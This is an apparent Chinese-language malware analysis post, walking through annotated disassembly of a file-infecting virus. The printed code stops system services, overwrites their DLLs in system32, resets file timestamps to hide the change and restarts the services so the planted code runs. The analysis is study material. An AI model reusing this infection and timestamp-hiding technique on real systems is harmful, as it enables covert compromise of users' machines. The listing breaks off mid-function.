一些感染型的病毒基本上就是對文件的特性進行了修改(內容,屬性等),如果是破壞型的,普通電腦用戶也可以辨別出來(燒香的熊貓);還有目的是隱蔽的,一般用戶可能就不會那麼容易發現從而中招。快捷鍵病毒將文件夾進行僞造做成一個快捷鍵,文件夾大小變成1K或2K,圖標不變。雙擊後顯示正常的內容,但是惡意程序已經執行了。下面就介紹一個不是那麼惡意的病毒它感染文件的關鍵反彙編代碼:
push 0F003Fh ;dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call ds:OpenSCManagerA;打開服務管理器
mov [ebp+hSCManager], eax
and [ebp+var_254], 0
and [ebp+ServiceNum], 0;ServiceNum=0
jmp short loc_40110B
loc_4010FE:
mov eax, [ebp+ServiceNum]
inc eax
mov [ebp+ServiceNum], eax
loc_40110B:
cmp [ebp+ServiceNum], 12h ;總共有0x12=18個,都是一些常用的基礎服務,都有自己對應的dll文件,會在系統開始的過程中自動加載運行裏面提供的服務
jge loc_401253
push 0F01FFh ; dwDesiredAccess
mov eax, [ebp+ServiceNum]
push ServiceName[eax*4] ; lpServiceName
push [ebp+hSCManager] ; hSCManager
call ds:OpenServiceA
mov [ebp+hService], eax
cmp [ebp+hService], 0
jnz short loc_40113E
jmp short loc_4010FE
loc_40113E:
push 7
pop ecx
xor eax, eax
lea edi, [ebp+ServiceStatus]
rep stosd
lea eax, [ebp+ServiceStatus]
push eax ; lpServiceStatus
push [ebp+hService] ; hService
call ds:QueryServiceStatus;查看服務狀態
cmp [ebp+ServiceStatus.dwCurrentState], 1;SERVICE_CONTROL_STOP ---0x1
jz short loc_401197
cmp [ebp+var_254], 0
jnz short loc_401177
jmp loc_401222
jmp loc_401222
loc_401177:
lea eax, [ebp+ServiceStatus]
push eax ; lpServiceStatus
push 1 ; dwControl
push [ebp+hService] ; hService
call ds:ControlService;如果服務沒有停止,設置爲停止,方便寫入數據但對應的dll中(正在被訪問的文件,不能被其他的修改--大概是這個意思)
test eax, eax
jnz short loc_401197
jmp loc_401222 ;操作失敗,取釋放訪問的對象,退出程序
jmp loc_401222
loc_401197:
push 104h ; Size
push 0 ; Val
lea eax, [ebp+String]
push eax ; Dst
call memset
add esp, 0Ch
mov eax, [ebp+ServiceNum]
push DllName[eax*4]
lea eax, [ebp+Dst]
push eax
push offset aSSystem32S ; "%s\\system32\\%s"
lea eax, [ebp+String]
push eax ; LPSTR
call ds:wsprintfA ;合成路徑
add esp, 10h
lea eax, [ebp+String]
push eax ; pszPath
call WriteData ;去寫數據
test eax, eax
jnz short loc_4011EA
jmp short loc_401222
jmp short loc_401222
loc_4011EA:
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push [ebp+hService] ; hService
call ds:StartServiceA ;重新開啓服務,被寫入的代碼也會運行
test eax, eax
jnz short loc_4011FF
jmp short loc_401222
WriteData函數對傳入的路徑進行確認,如果文件存在就從PE文件頭開始填寫數據(其實也是一個文件,此時從PE文件頭開始讀入數據);如果文件不存在就創建一個新文件,將數據全部寫入。
FileExist:
mov [ebp+dwCreationDispostion],3
mov [ebp+lDistanceToMove],3Ch;是不是很熟悉--e_lfanew
jmp short loc_401538
FileNotExist:
mov [ebp+dwCreationDispostion],2
and [ebp+lDistanceToMove],0;從頭開始
loc_401538:
push 0
push 0
push [ebp+dwCreationDispostion]
push 0
push 0
push 0C0000000 ;dwDesiredAccess
push [ebp+pszPath] ;lpFileName
call ds:CreateFileA ;打開或創建文件
;下面再文件的時間上作了手腳,正常情況下文件被修改了,文件上會顯示最後改動的時間。它在寫入數據之前把上次修改的時間保存下來,數據寫入之後把時間該回來
push 6
pop ecx
xor eax,eax
lea edi,[ebp+CreationTime]
rep stosd ;初始化CreationTime
lea eax,[ebp+LastWriteTime]
push eax
lea eax,[ebp+LastAccessTime]
push eax
lea eax,[ebp+LastCreationTime]
push eax
push [ebp+hFile]
call ds:GetFileTime ;獲取文件的一些時間
cmp [ebp+dwCreationDisposition], 2
jnz short loc_4015AC
mov [ebp+CreationTime.dwLowDateTime], 1EC61500h
mov [ebp+CreationTime.dwHighDateTime], 1C479C6h
mov eax, [ebp+CreationTime.dwLowDateTime] mov [ebp+LastAccessTime.dwLowDateTime], eax
mov eax, [ebp+CreationTime.dwHighDateTime]
mov [ebp+LastAccessTime.dwHighDateTime], eax
mov eax, [ebp+CreationTime.dwLowDateTime]
mov [ebp+LastWriteTime.dwLowDateTime], eax
mov eax, [ebp+CreationTime.dwHighDateTime]
mov [ebp+LastWriteTime.dwHighDateTime], eax
loc_4015AC: push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push [ebp+lDistanceToMove] ; lDistanceToMove
push [ebp+hFile] ; hFile
call ds:SetFilePointer;設置寫入起始點
mov eax, hResData ;數據的指針
add eax, [ebp+lDistanceToMove];設置讀入起始點
mov [ebp+lpBuffer], eax
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
mov eax, lDistanceToMove
sub eax, [ebp+lDistanceToMove]
push eax ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
push [ebp+hFile] ; hFile
call ds:WriteFile
test eax, eax
jnz short loc_4015F3
push [ebp+hFile] ; hObject
call ds:CloseHandle